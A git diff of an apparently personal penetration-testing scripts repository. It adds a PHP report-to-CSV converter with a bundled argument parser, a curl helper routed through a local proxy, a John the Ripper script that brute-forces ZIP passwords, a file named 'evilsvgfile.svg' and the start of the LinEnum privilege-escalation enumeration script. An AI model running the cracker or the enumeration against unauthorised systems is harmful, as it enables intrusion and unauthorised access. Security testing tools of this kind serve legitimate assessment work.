$ch = curl_init($target); + + curl_setopt($ch, CURLOPT_HEADER, $headers); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_POSTFIELDS,$dataz); + curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $result = curl_exec($ch); + curl_close($ch); + + return $result; + } +} + +?> \ No newline at end of file diff --git a/README.md b/README.md index 94d2610..16d5f1c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,9 @@ -DirtyScripts -=============== +This repo comes as-is!! + +It is just a dump of stuff, maybe useful, probably not. + +Without warranty or documentation. + +If you can't read the code then this isn't for you. + +Please do not ask for help regarding anything here, you will be ignored \ No newline at end of file diff --git a/ReportToolz/README.md b/ReportToolz/README.md new file mode 100644 index 0000000..6e0e95c --- /dev/null +++ b/ReportToolz/README.md @@ -0,0 +1,29 @@ +``` +╰» ./rep2.php -d "/mnt/hgfs/Pentest/pentests/2019/Precise/J34562.6 Company Web Application Technical Report 1.1.odt" +_____ _____ _____ 2 +||_// ||== ||_// +|| \ ||___ || + +[!] doc: /mnt/hgfs/Pentest/pentests/2019/Company/J12345.6 Company Web Application Technical Report 1.1.odt +[+] doc extracted +[=] fonts found: 23 +[+] vulnerabilities identified +[+] temp files removed +[+] created directory /mnt/hgfs/Pentest/pentests/2019/Company/rep2/ +[+] medium issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] low issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] all issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_all.csv +[+] remediation table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/remediation.csv +[+] OWASP table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/owasp.csv +[=] Serious = 0, High = 0, Medium = 4, Low = 3 + +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------ +5.1.1 |Missing Security Headers |Medium |5.1 |Configuration |A6 Security Misconfiguration +5.1.2 |Insecure SSL Certificate Detected |Medium |4.8 |Configuration |A6 Security Misconfiguration +5.1.3 |Missing Cookie Attributes |Medium |4.7 |Configuration |A6 Security Misconfiguration +5.1.4 |jQuery Vulnerabilities |Medium |4.3 |Configuration |A9 Components with Known Vulne +5.2.1 |Software Version Numbers Disclosed |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.2 |Verbose Error Reporting Enabled |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.3 |Wildcard SSL Certificate |Low |3.7 |Configuration |A6 Security Misconfiguration +``` \ No newline at end of file diff --git a/ReportToolz/classes/CommandArgumentFilter.php b/ReportToolz/classes/CommandArgumentFilter.php new file mode 100644 index 0000000..1ffa45e --- /dev/null +++ b/ReportToolz/classes/CommandArgumentFilter.php @@ -0,0 +1,343 @@ + + */ + +namespace Clapp; + +/** + * Filters an array and extracts and validates command line arguments + * + * @author Patrick Forget + */ +class CommandArgumentFilter +{ + /** + * Command line arguments + * @var array + */ + private $arguments = array(); + + /** + * Definition of allowed parameters + * @var \Clapp\CommandLineArgumentDefinition + */ + private $definitions = null; + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $parsed = false; + + /** + * Parsed params + * @var array + */ + private $params = array(); + + /** + * Trailing values + * @var string + */ + private $trailingValues = ""; + + /** + * program name + * @var string + */ + private $programName = ""; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param \Clapp\CommandLineDefinition $definitions contains list of allowed parameters + * @param array $args list of arguments to filter. + */ + public function __construct(\Clapp\CommandLineArgumentDefinition $definitions, $args) + { + if (is_array($args)) { + $this->arguments = $args; + } //if + + $this->definitions = $definitions; + } // __construct() + + /** + * returns parameter matching provided name + * + * @author Patrick Forget + * + * @param string name of the paramter to retreive + * + * @return mixed if param the param appears only once the method will + * return 1 if the parameter doesn't take a value. The specified value + * for that param will returned if it does take value. + * + * If many occurence of the param appear the number of occurences will + * be returned for params that do not take values. An array of values + * will be returned for the parameters that do take values. + * + * If the parameter is not present null if it takes a value and false if + * it's not present and doesn't allow values + */ + public function getParam($name) + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + $longName = strlen($name) === 1 ? $this->definitions->getLongName($name) : $name; + if (isset($this->params[$longName])) { + return $this->params[$longName]; + } else { + if ($this->definitions->allowsValue($longName)) { + return null; + } else { + return false; + } //if + } //if + + } // getParam() + + /** + * retreive the program name + * + * @author Patrick Forget + */ + public function getProgramName() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->programName; + } // getProgramName() + + /** + * retreive the trailing values + * + * @author Patrick Forget + */ + public function getTrailingValues() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->trailingValues; + } // getTrailingValues() + + /** + * extracts params from arguments + * + * @author Patrick Forget + */ + protected function parseParams() + { + + $argumentStack = $this->arguments; + + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $trailingValues = ""; + $endOfDashedArguments = false; + $addParam = false; + $argumentsLeft = sizeof($argumentStack); + $multiShortParams = array(); + + $this->programName = array_shift($argumentStack); // remove first argument which is the program name + + while ($currentArgument = array_shift($argumentStack)) { + $argumentsLeft--; + $currentArgumentLength = strlen($currentArgument); + + // arguments that don't start with a dash + if (substr($currentArgument, 0, 1) !== '-') { + if ($expectingValue) { + $currentValue = $currentArgument; + $addParam = true; + } else { + $trailingValues .= " ". $currentArgument; + $endOfDashedArguments = true; + } //if + + // double dash detected + } elseif (substr($currentArgument, 1, 1) === '-') { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* stop parsing arguments if double dash + only param is encountered */ + if ($currentArgumentLength == 2) { + if ($trailingValues !== "") { + throw new \UnexpectedValueException("Trailing values must appear after double dash"); + } //if + + $trailingValues = " ". implode(" ", $argumentStack); + $argumentStack = array(); + $endOfDashedArguments = true; + break; + } //if + + $longNameParts = explode("=", substr($currentArgument, 2), 2); + + $currentLongName = $longNameParts[0]; + + if (sizeof($longNameParts) > 1) { + $currentValue = $longNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + // single dash + } else { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + $shortNameParts = explode("=", substr($currentArgument, 1), 2); + + $shortName = $shortNameParts[0]; + + if (strlen($shortName) <= 1) { + $currentLongName = $this->definitions->getLongName($shortName); + + if ($currentLongName === null) { + throw new \InvalidArgumentException("Unable to find name with ". + "provided parameter ({$shortName})"); + } //if + + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } else { + $multiShortParams = str_split($shortName); + + /* process the last one (which is the only one that can have a value) */ + $lastParam = array_pop($multiShortParams); + $currentLongName = $this->definitions->getLongName($lastParam); + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($lastParam)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } //if + + } //if + + if ($addParam) { + if ($endOfDashedArguments) { + throw new \UnexpectedValueException("Unexpected argument after undashed values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName === false || $currentLongName === null) { + throw new \UnexpectedValueException("Missing argument name"); + } //if + // @codeCoverageIgnoreEnd + + if (!$this->definitions->paramExists($currentLongName)) { + throw new \InvalidArgumentException("Invalid argument name"); + } //if + + $allowsMultiple = $this->definitions->allowsMultiple($currentLongName); + $allowsValue = $this->definitions->allowsValue($currentLongName); + + if (isset($this->params[$currentLongName]) && !$allowsMultiple) { + throw new \UnexpectedValueException("Multiple instace of parameter {$currentLongName} not allowed"); + } //if + + if ($allowsValue) { + /* Missing values should always be detected before addParam is true */ + // @codeCoverageIgnoreStart + if ($currentValue === null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + // @codeCoverageIgnoreEnd + + } elseif ($currentValue !== null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} does not accept values"); + + } else { + $currentValue = true; + } //if + + if ($allowsMultiple) { + if ($allowsValue) { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = array(); + } //if + + $this->params[$currentLongName][] = $currentValue; + + } else { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = 0; + } //if + + $this->params[$currentLongName]++; + + } //if + + } else { + $this->params[$currentLongName] = $currentValue; + } //if + + foreach ($multiShortParams as $shortName) { + $argumentStack[] = "-{$shortName}"; + $argumentsLeft++; + } //foreach + + /* reset stuff for next param */ + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $addParam = false; + $multiShortParams = array(); + + } //if + + } //while + + if ($expectingValue !== false) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName !== null || + $addParam !== false || + $currentValue !== null || + sizeof($multiShortParams) !== 0) { + throw new \UnexpectedValueException("Unable to process some parameters"); + } //if + // @codeCoverageIgnoreEnd + + if ($trailingValues !== "") { + $this->trailingValues = substr($trailingValues, 1); // remove extra space at the begging + } //if + + $this->parsed = true; + } // parseParams() +} diff --git a/ReportToolz/classes/CommandLineArgumentDefinition.php b/ReportToolz/classes/CommandLineArgumentDefinition.php new file mode 100644 index 0000000..2b2e8fa --- /dev/null +++ b/ReportToolz/classes/CommandLineArgumentDefinition.php @@ -0,0 +1,389 @@ + + */ + +namespace Clapp; + +/** + * Defines list and formats of command line arguments + * + * @author Patrick Forget + */ +class CommandLineArgumentDefinition +{ + + /** + * @var array + */ + private $definitions = array(); + + /** + * long names as keys and array of properties as values + * + * properties are as follows + * * string "shortName" one letter char to the corresponding short name + * * boolean "isMultipleAllowed" true if mutliple instances of the param are allowed + * * mixed "parameterType" false if paramters are not alloweda value, + * otherwise a string with the value "integer" or "string" + * * string "description" description of the parameter + * @var array + */ + private $longNames = array(); + + /** + * list of short names as keys and their long name equivalent as values + * @var array + */ + private $shortNames = array(); + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $isParsed = false; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param array $definitions contains list of allowed parameters + * the key is the long name of the parameter followed by a pipe (|) + * then a single character specifying the short name. + * + * If the parameter allows for arguments then an equal sign (=) + * follows and then the type of paramter. + * + * Allowed types are either i, int or integer for integer types + * and s, str or string for string types. + * + * If a parameter can appear more than once the last character of + * the key should be a plus character (+). + * + * The value of the entry is the definition of what the paramter + * does. + */ + public function __construct($definitions) + { + if (is_array($definitions)) { + $this->definitions = $definitions; + } //if + } // __construct() + + /** + * checks if parameter is allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean true if definition exisits, false otherwise + */ + public function paramExists($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (strlen($name) == 1) { + return isset($this->shortNames[$name]); + } else { + return isset($this->longNames[$name]); + } //if + } // paramExists($name) + + + /** + * checks if parameter allows a value if so what type + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean|string false doesn't allow value, The value "string" or "integer" depending which type it allows + */ + public function allowsValue($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['parameterType'] !== false ? true : false; + } else { + return false; + } //if + } // allowsValue() + + /** + * returns the type of value allowed + * + * @author Patrick Forget + */ + public function getValueType($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName]['parameterType']) + && $this->longNames[$longName]['parameterType'] !== false) { + return $this->longNames[$longName]['parameterType']; + } else { + return ''; + } //if + } // getValueType() + + + /** + * checks if pamultiple instance of parameter are allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean false if parameter doesn't allow multiple values, true if it does + */ + public function allowsMultiple($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['isMultipleAllowed']; + } else { + return false; + } //if + } // allowsMultiple() + + /** + * retreive short name of a parameter using its long name + * + * @author Patrick Forget + * + * @param string $name long name of the parameter to check + * + * @return string character of the short name or null if it doesn't exist + */ + public function getShortName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->longNames[$name])) { + return $this->longNames[$name]['shortName']; + } else { + return null; + } //if + } // getShortName($name) + + /** + * retreive long name of a parameter using its short name + * + * @author Patrick Forget + * + * @param string $name short name of the parameter to check + * + * @return string long name or null if it doesn't exist + */ + public function getLongName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->shortNames[$name])) { + return $this->shortNames[$name]; + } else { + return null; + } //if + } // getLongName($name) + + /** + * retreive description of a paramter + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return string description or null if it doesn't exist + */ + public function getDescription($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['description']; + } else { + return null; + } //if + } // getDescription() + + /** + * builds a usage definition based on definition of params + * + * @author Patrick Forget + */ + public function getUsage() + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + /* build list of argument names and calculate + the first column width so we can pad to + align definitions */ + $firstCol = array(); + $longestDef = 0; + foreach (array_keys($this->longNames) as $longName) { + ob_start(); + echo "--{$longName}|-{$this->getShortName($longName)}"; + + if ($this->allowsValue($longName)) { + echo "={$this->getValueType($longName)}"; + } //if + + if ($this->allowsMultiple($longName)) { + echo "+"; + } //if + + $defLength = ob_get_length(); + + $longestDef = max($longestDef, $defLength); + + $firstCol[$longName] = ob_get_contents(); + ob_end_clean(); + + } //foreach + + $firstColMaxWidth = $longestDef + 4; + + ob_start(); + + foreach ($firstCol as $longName => $def) { + $currentDefLength = strlen($def); + + $padding = str_repeat(" ", $firstColMaxWidth - $currentDefLength); + + echo "{$def}{$padding}{$this->getDescription($longName)}", PHP_EOL; + } //foreach + + echo PHP_EOL; + + $usage = ob_get_contents(); + ob_end_clean(); + + return $usage; + + } // getUsage() + + + /** + * parses the definitions + * + * @author Patrick Forget + */ + protected function parseDefinitions() + { + foreach ($this->definitions as $nameDef => $description) { + $nameParts = explode("|", $nameDef); + + if (sizeof($nameParts) !== 2) { + throw new \UnexpectedValueException("Unexpected argument name definition expecting \"longName|char\""); + } //if + + $longName = $nameParts[0]; + $isMulti = false; + $parameterType = false; + + $shortNameLength = strlen($nameParts[1]); + + if ($shortNameLength == 1) { + $shortName = $nameParts[1]; + } else { + $secondChar = substr($nameParts[1], 1, 1); + + switch ($secondChar) { + case '=': + $shortNameParts = explode("=", $nameParts[1]); + + $shortName = $shortNameParts[0]; + $parameterTypeString = $shortNameParts[1]; + + if (substr($parameterTypeString, -1) === '+') { + $isMulti = true; + $parameterTypeString = substr($parameterTypeString, 0, -1); // remove trailing + + } //if + + switch ($parameterTypeString) { + case 'i': + case 'int': + case 'integer': + $parameterType = 'integer'; + break; + case 's': + case 'str': + case 'string': + $parameterType = 'string'; + break; + default: + throw new \UnexpectedValueException("Expecting parameter type". + " to be either integer or string"); + break; + } //switch + + break; + case '+': + if ($shortNameLength > 2) { + throw new \UnexpectedValueException("Multiple flag charachter (+)". + " should be last character in definition"); + } //if + + $shortName = substr($nameParts[1], 0, 1); + $isMulti = true; + + break; + default: + throw new \UnexpectedValueException("Expecting short name definition to be a single char"); + break; + } // switch + + } //if + + if (isset($this->longNames[$longName])) { + throw new \UnexpectedValueException("Cannot redefine long name {$longName}"); + } //if + + if (isset($this->shortNames[$shortName])) { + throw new \UnexpectedValueException("Cannot redefine short name {$shortName}"); + } //if + + $this->longNames[$longName] = array( + 'shortName' => $shortName, + 'isMultipleAllowed' => $isMulti, + 'parameterType' => $parameterType, + 'description' => $description + ); + + $this->shortNames[$shortName] = $longName; + + } //foreach + + $this->isParsed = true; + } // parseDefinitions() +} diff --git a/ReportToolz/rep2.php b/ReportToolz/rep2.php new file mode 100755 index 0000000..d19c6b8 --- /dev/null +++ b/ReportToolz/rep2.php @@ -0,0 +1,435 @@ +#!/usr/bin/php + "Shows help message", + "doc|d=s" => "/path/to/doc.odt to use", + ) +); + +$filter = new \Clapp\CommandArgumentFilter($definitions, $argv); + +if ($filter->getParam('h') === true || $argc < 2) { + fwrite(STDERR, $definitions->getUsage()); + exit(0); +} + +// see if doc exists +if ($filter->getParam("doc") == false) + die("[-] no doc set\n"); + +echo "[!] doc: ".$filter->getParam("doc")."\n"; +if(!file_exists($filter->getParam("doc"))) + die("[-] no such file! \n"); + +// extract doc and get contents +$rand = uniqid(); +mkdir("/tmp/$rand"); +if(unzipFolder($filter->getParam("doc"), "/tmp/$rand/")) { + $source = file_get_contents("/tmp/$rand/content.xml"); + echo "[+] doc extracted\n"; +} else { + die("[-] unable to extract doc\n"); +} + +// Parse Doc's XML +$line = array(); +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); + +// font checker +/*** + * FUTURE FEATURE PERHAPS + */ +$fonts = array(); +while ($reader->read()){ + //print_r($reader->name); + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'style:font-face')) { + //if(!empty($reader->name)){ + //echo "here2\n"; + //$line[] = $reader->expand()->textContent; // Put the text into array in correct order... + $fonts[] = $reader->getAttribute("style:name"); + //echo $font;echo "\n"; // DEBUG + //} + } +} +$reader->close(); +//die(); +echo "[=] fonts found: ".sizeof($fonts)."\n"; + +// step through text:h and text:p elements to put them into an array +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); +while ($reader->read()){ + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'text:h' || $reader->name === 'text:p' || $reader->name === 'text:bookmark')) { + if(!empty($reader->expand()->textContent)) + $line[] = $reader->expand()->textContent; // Put the text into array in correct order... + //echo $reader->expand()->textContent;echo "\n"; // DEBUG + } +} +$reader->close(); + +// find the content we want +$start = 0; $end = 0; +foreach($line as $key => $val){ + if(strpos($val, "Discovered Vulnerabilities") === 0){ $start = $key; } + if(strpos($val, "This section provides a quick guide to plan your remediation for the vulnerabilities discovered during the test.") === 0){ $end = $key-2; } + $line[$key] = trim($val); +} + +// add to sexy array's +$vuln = array(); +$vulnPlace = 0; +$switch = 0; +$sub2 = 0; +$sub3 = 1; +for ($i=$start; $i <= $end ; $i++) { + // change state (action to take) + /*** + * ~states~ + * 0 = do nothing + * 1 = next is title + * 2 = next is description + * 3 = next is solution + * 4 = next is remediation + * 5 = next is cvss no + * 6 = next is risk level + * 7 = next is hosts + * 8 = next possibly title + */ + switch ($line[$i]) { + case 'Discovered Vulnerabilieies': + $switch = 0; + break; + case 'Serious Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'High Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Medium Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Low Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Description': + $switch = 2; + break; + case 'Solution': + $switch = 3; + break; + case 'Remediation': + $switch = 4; + break; + case 'CVSS Base Score': + $switch = 5; + break; + case 'Risk Level': + $switch = 6; + break; + case 'Vulnerabilities Exist On': + $switch = 7; + break; + default: + # code... + break; + } + + //take action + switch ($switch) { + case 1: + $i++; + $vuln[$vulnPlace]['title'] = $line[$i]; + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + case 2: + @$vuln[$vulnPlace]['desc'] .= $line[$i]; + break; + case 3: + @$vuln[$vulnPlace]['fix'] .= $line[$i]; + break; + case 4: + $i++; + $vuln[$vulnPlace]['rem'] = trim(strtok($line[$i], " ")); + $switch = 0; + break; + case 5: + $i++; + $vuln[$vulnPlace]['cvss'] = $line[$i]; + $switch = 0; + break; + case 6: + $i++; + $vuln[$vulnPlace]['risk'] = trim(strtok($line[$i], " ")); + $vuln[$vulnPlace]['owasp'] = trim(substr($line[$i], strpos($line[$i], ":") + 1)); + $switch = 0; + break; + case 7: + $i++; + $vuln[$vulnPlace]['hosts'] = $line[$i]; + $switch = 8; + $vulnPlace++; + break; + case 8: + $vuln[$vulnPlace]['title'] = trim($line[$i]); + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + default: + # code... + break; + } + + //echo $line[$i]."\n"; // DEBUG +} + +// minor tidying of arrays +for ($i=0; $i < sizeof($vuln) ; $i++) { + if (strpos($vuln[$i]['desc'], "Description") === 0) $vuln[$i]['desc'] = substr($vuln[$i]['desc'], strlen("Description")); + if (strpos($vuln[$i]['fix'], "Solution") === 0) $vuln[$i]['fix'] = substr($vuln[$i]['fix'], strlen("Solution")); + $vuln[$i]['risk'] = rtrim($vuln[$i]['risk'], ":"); + // remove html encoding + foreach($vuln[$i] as $key => $val){ + $vuln[$i][$key] = mb_convert_encoding($val, "UTF-8", 'UTF-8'); + } +} + +//print_r($vuln); // DEBUG +echo "[+] vulnerabilities identified\n"; + +delTree("/tmp/$rand"); +echo "[+] temp files removed\n"; + +$resultsFolder = substr($filter->getParam("doc"), 0, strrpos( $filter->getParam("doc"), '/') )."/rep2"; +if(!file_exists($resultsFolder."/")){ + mkdir($resultsFolder."/"); + echo "[+] created directory $resultsFolder/\n"; +}else{ + $i = 1; + while (file_exists($resultsFolder."_$i/")) + $i++; + mkdir($resultsFolder."_$i/"); + $resultsFolder .= "_$i"; + echo "[+] created directory $resultsFolder/\n"; +} + +if(writeIssueTable($vuln, "Serious", $resultsFolder."/findings_serious.csv")) + echo "[+] serious issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "High", $resultsFolder."/findings_high.csv")) + echo "[+] high issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Medium", $resultsFolder."/findings_medium.csv")) + echo "[+] medium issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Low", $resultsFolder."/findings_low.csv")) + echo "[+] low issues: $resultsFolder/findings_serious.csv\n"; + +if(writeAllTable($vuln, $resultsFolder."/findings_all.csv")) + echo "[+] all issues: $resultsFolder/findings_all.csv\n"; + +if(writeRemediationTable($vuln, $resultsFolder."/remediation.csv")) + echo "[+] remediation table: $resultsFolder/remediation.csv\n"; + +if(writeOWASPTable($vuln, $resultsFolder."/owasp.csv")) + echo "[+] OWASP table: $resultsFolder/owasp.csv\n"; + +viewVulns($vuln); + +function unzipFolder($zipInputFile, $outputFolder) { + $zip = new ZipArchive; + $res = $zip->open($zipInputFile); + if ($res === true) { + $zip->extractTo($outputFolder); + $zip->close(); + return true; + } + else { + return false; + } +} + +function XML2Array(SimpleXMLElement $parent){ + $array = array(); + + foreach ($parent as $name => $element) { + ($node = & $array[$name]) + && (1 === count($node) ? $node = array($node) : 1) + && $node = & $node[]; + + $node = $element->count() ? XML2Array($element) : trim($element); + } + + return $array; +} + +function delTree($dir){ + $files = array_diff(scandir($dir), array('.', '..')); + + foreach ($files as $file) { + (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file"); + } + + return rmdir($dir); +} + +function viewVulns($vuln){ + $s = $h = $m = $l = 0; + for ($i=0; $i < sizeof($vuln) ; $i++) { + switch ($vuln[$i]['risk']) { + case 'Serious': + $s++; + break; + case 'High': + $h++; + break; + case 'Medium': + $m++; + break; + case 'Low': + $l++; + break; + } + } + echo "[=] Serious = $s, High = $h, Medium = $m, Low = $l\n"; + +echo" +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------\n"; +for ($i=0; $i < sizeof($vuln) ; $i++) { + $ref = str_pad($vuln[$i]['ref'], 7); + $title = str_pad($vuln[$i]['title'], 35); + $risk = str_pad($vuln[$i]['risk'], 8); + $cvss = str_pad($vuln[$i]['cvss'], 8); + $rem = str_pad($vuln[$i]['rem'], 15); + $owasp = str_pad($vuln[$i]['owasp'], 30); + + echo substr($ref, 0, 7); echo "|"; + echo substr($title, 0, 35); echo "|"; + echo substr($risk, 0, 8); echo "|"; + echo substr($cvss, 0, 8); echo "|"; + echo substr($rem, 0, 15); echo "|"; + echo substr($owasp, 0, 30); echo "\n"; +} +} + +function writeIssueTable($vuln, $issue, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if($vuln[$i]['risk'] == $issue){ + $towrite[$i]['desc'] = $vuln[$i]['title']." - ".$vuln[$i]['desc']; + $towrite[$i]['fix'] = $vuln[$i]['fix']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeAllTable($vuln, $path){ + if(sizeof($vuln) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Title", "Ref", "Description", "Solution", "Remediation", "CVSS", "Risk", "OWASP", "Affected")); + foreach ($vuln as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeRemediationTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['p'] = " "; + $towrite[$i]['c'] = " "; + $towrite[$i]['d'] = " "; + $towrite[$i]['u'] = " "; + switch ($vuln[$i]['rem']) { + case 'Patch': + $towrite[$i]['p'] = $vuln[$i]['risk'][0]; + break; + case 'Configuration': + $towrite[$i]['c'] = $vuln[$i]['risk'][0]; + break; + case 'Development': + $towrite[$i]['d'] = $vuln[$i]['risk'][0]; + break; + case 'Upgrade': + $towrite[$i]['u'] = $vuln[$i]['risk'][0]; + break; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Host", "Ref", "P", "C", "D", "U")); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeOWASPTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if(in_array($vuln[$i]['owasp'], array_column($towrite, 'owaspId'))){ + $towrite[$vuln[$i]['owasp']]['no']++; + }else{ + $towrite[$vuln[$i]['owasp']]['owaspId'] = $vuln[$i]['owasp']; + $towrite[$vuln[$i]['owasp']]['no'] = 1; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +?> \ No newline at end of file diff --git a/crack_zip.sh b/crack_zip.sh new file mode 100755 index 0000000..bc6de1a --- /dev/null +++ b/crack_zip.sh @@ -0,0 +1,18 @@ +#!/bin/bash +echo "ZIP-JTR Decrypt Script"; +if [ $# -ne 2 ] +then +echo "Usage $0 "; +exit; +fi +unzip -l $1 +for i in $(john --wordlist=$2 --rules --stdout) +do + echo -ne "\rtrying \"$i\" " + unzip -o -P $i $1 >/dev/null 2>&1 + STATUS=$? + if [ $STATUS -eq 0 ]; then + echo -e "\nArchive password is: \"$i\"" + break + fi +done diff --git a/evilsvgfile.svg b/evilsvgfile.svg new file mode 100755 index 0000000..07d08f0 --- /dev/null +++ b/evilsvgfile.svg @@ -0,0 +1,9 @@ + + + + + + + \ No newline at end of file diff --git a/privesc/LinEnum.sh b/privesc/LinEnum.sh new file mode 100755 index 0000000..fe8d7a2 --- /dev/null +++ b/privesc/LinEnum.sh @@ -0,0 +1,1208 @@ +#!/bin/bash +#A script to enumerate local information from a Linux host +v="version 0.5 (experimental)" +#@oshearing + +#help function +usage () +{ +echo -e "\n\e[00;31m#########################################################\e[00m" +echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" +echo -e "\e[00;31m#########################################################\e[00m" +echo -e "\e[00;33m# www.rebootuser.com\e[00m" +echo -e "\e[00;33m# $v\e[00m\n" +echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n" + + echo "OPTIONS:" + echo "-k Enter keyword" + echo "-e Enter export location" + echo "-t Include thorough (lengthy) tests" + echo "-r Enter report name" + echo "-h Displays this help text" + echo -e "\n" + echo "Running with no options = limited scans/no output file" + +echo -e "\e[00;31m#########################################################\e[00m" +} +while getopts 